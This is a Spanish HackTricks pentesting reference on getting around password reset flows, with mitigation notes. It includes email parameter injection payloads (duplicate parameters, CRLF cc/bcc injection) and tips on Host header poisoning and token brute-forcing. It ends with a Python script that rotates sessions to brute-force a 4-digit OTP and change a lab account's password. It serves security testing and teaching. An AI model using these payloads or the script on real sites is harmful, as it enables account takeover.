Restablecimiento/Olvido de Contraseña Bypass
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Filtración del Token de Restablecimiento de Contraseña a Través del Referente
- El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
- Impacto: Posible toma de control de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
- Explotación: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, solicita un restablecimiento de contraseña a tu dirección de correo electrónico y haz clic en el enlace de restablecimiento proporcionado. No cambies tu contraseña de inmediato. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las solicitudes usando Burp Suite. Inspecciona las solicitudes para ver si el encabezado referer contiene el token de restablecimiento de contraseña, ya que esto podría exponer información sensible a terceros.
- Referencias:
- HackerOne Report 342693
- HackerOne Report 272379
- Artículo sobre la Filtración del Token de Restablecimiento de Contraseña
Envenenamiento del Restablecimiento de Contraseña
- Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para apuntar el enlace de restablecimiento a un sitio malicioso.
- Impacto: Conduce a una posible toma de control de la cuenta al filtrar tokens de restablecimiento a los atacantes.
- Pasos de Mitigación:
- Valida el encabezado Host contra una lista blanca de dominios permitidos.
- Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
- Parche: Usa
$_SERVER['SERVER_NAME']
para construir URLs de restablecimiento de contraseña en lugar de$_SERVER['HTTP_HOST']
. - Referencias:
- Artículo de Acunetix sobre el Envenenamiento del Restablecimiento de Contraseña
Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
Los atacantes pueden manipular la solicitud de restablecimiento de contraseña añadiendo parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.
- Agrega el correo electrónico del atacante como segundo parámetro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Agrega el correo electrónico del atacante como segundo parámetro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Agrega el correo electrónico del atacante como segundo parámetro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Agregar el correo electrónico del atacante como segundo parámetro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Agregar el correo electrónico del atacante como segundo parámetro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Agrega el correo electrónico del atacante como segundo parámetro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Agregar el correo electrónico del atacante como segundo parámetro en el array JSON
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Pasos de Mitigación:
- Analizar y validar adecuadamente los parámetros de correo electrónico del lado del servidor.
- Utilizar declaraciones preparadas o consultas parametrizadas para prevenir ataques de inyección.
- Referencias:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Cambio de Correo Electrónico y Contraseña de Cualquier Usuario a Través de Parámetros de API
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de API para cambiar las credenciales de la cuenta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Pasos de Mitigación:
- Asegúrese de una validación estricta de parámetros y verificaciones de autenticación.
- Implemente un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
- Referencia:
- Toma de Control Completa de Cuenta a través de Manipulación de Parámetros de API
Sin Limitación de Tasa: Bombardeo de Correos Electrónicos
- La falta de limitación de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos de restablecimiento.
- Pasos de Mitigación:
- Implemente limitación de tasa basada en la dirección IP o la cuenta de usuario.
- Use desafíos CAPTCHA para prevenir abusos automatizados.
- Referencias:
- Informe de HackerOne 280534
Descubrir Cómo se Genera el Token de Restablecimiento de Contraseña
- Comprender el patrón o método detrás de la generación de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
- Basado en Timestamp
- Basado en el UserID
- Basado en el correo electrónico del Usuario
- Basado en Nombre y Apellido
- Basado en Fecha de Nacimiento
- Basado en Criptografía
- Pasos de Mitigación:
- Use métodos criptográficos fuertes para la generación de tokens.
- Asegúrese de suficiente aleatoriedad y longitud para prevenir la predictibilidad.
- Herramientas: Use Burp Sequencer para analizar la aleatoriedad de los tokens.
UUID Adivinable
- Si los UUIDs (versión 1) son adivinables o predecibles, los atacantes pueden forzarlos para generar tokens de restablecimiento válidos. Verifique:
- Pasos de Mitigación:
- Use GUID versión 4 para aleatoriedad o implemente medidas de seguridad adicionales para otras versiones.
- Herramientas: Use guidtool para analizar y generar GUIDs.
Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena
- Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
- Pasos de Mitigación:
- Implemente verificaciones del lado del servidor para asegurar la integridad de la respuesta.
- Use canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
- Referencia:
- Error Crítico en Evento de Recompensa de Errores en Vivo
Uso de Token Expirado
- Probando si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
- Pasos de Mitigación:
- Implemente políticas estrictas de expiración de tokens y valide la expiración del token del lado del servidor.
Fuerza Bruta del Token de Restablecimiento de Contraseña
- Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
- Pasos de Mitigación:
- Implemente mecanismos robustos de limitación de tasa y bloqueo de cuentas.
- Monitoree actividades sospechosas indicativas de ataques de fuerza bruta.
Intente Usar Su Token
- Probando si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electrónico de la víctima.
- Pasos de Mitigación:
- Asegúrese de que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
- Asegurándose de que las sesiones se invaliden cuando un usuario cierra sesión o restablece su contraseña.
- Pasos de Mitigación:
- Implemente una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesión o restablecer la contraseña.
Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
- Los tokens de restablecimiento deben tener un tiempo de expiración después del cual se vuelven inválidos.
- Pasos de Mitigación:
- Establezca un tiempo de expiración razonable para los tokens de restablecimiento y aplíquelo estrictamente del lado del servidor.
Eludir el límite de tasa de OTP cambiando su sesión
- Si el sitio web está utilizando la sesión del usuario para rastrear intentos incorrectos de OTP y el OTP era débil ( <= 4 dígitos), entonces podemos forzar efectivamente el OTP.
- explotación:
- simplemente solicite un nuevo token de sesión después de ser bloqueado por el servidor.
- Ejemplo de código que explota este error adivinando aleatoriamente el OTP (cuando cambie la sesión, el OTP también cambiará, ¡y así no podremos forzarlo secuencialmente!):
python
# Bypass de autenticación por restablecimiento de contraseña
# por coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] ¡Iniciando ataque!")
sleep(3)
print("[+] ¡Esto puede tardar alrededor de 5 minutos en terminar!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatorio de 0 - 9999 con 4 d
parms["s"] = 164 # no importante, solo afecta el frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # seguir número de intentos
out = requests.get(logout,headers=headers) # te cierra sesión
mainp = requests.get(root) # obtiene otro phpssid (token)
cookies = out.cookies # extraer el sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # actualizar los headers con nueva sesión
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envía el correo para cambiar la contraseña
ter = 0 # reiniciar ter para obtener una nueva sesión después de 8 intentos
else:
ter += 1
if(len(res.text) == 2292): # esta es la longitud de la página cuando obtienes el código de recuperación correctamente (obtenido por prueba)
print(len(res.text)) # para información de depuración
print(phpsessid)
reset_data = { # aquí cambiaremos la contraseña a algo nuevo
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] ¡La contraseña ha sido cambiada a:D37djkamd!")
break
except Exception as e:
print("[+] Ataque detenido")
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.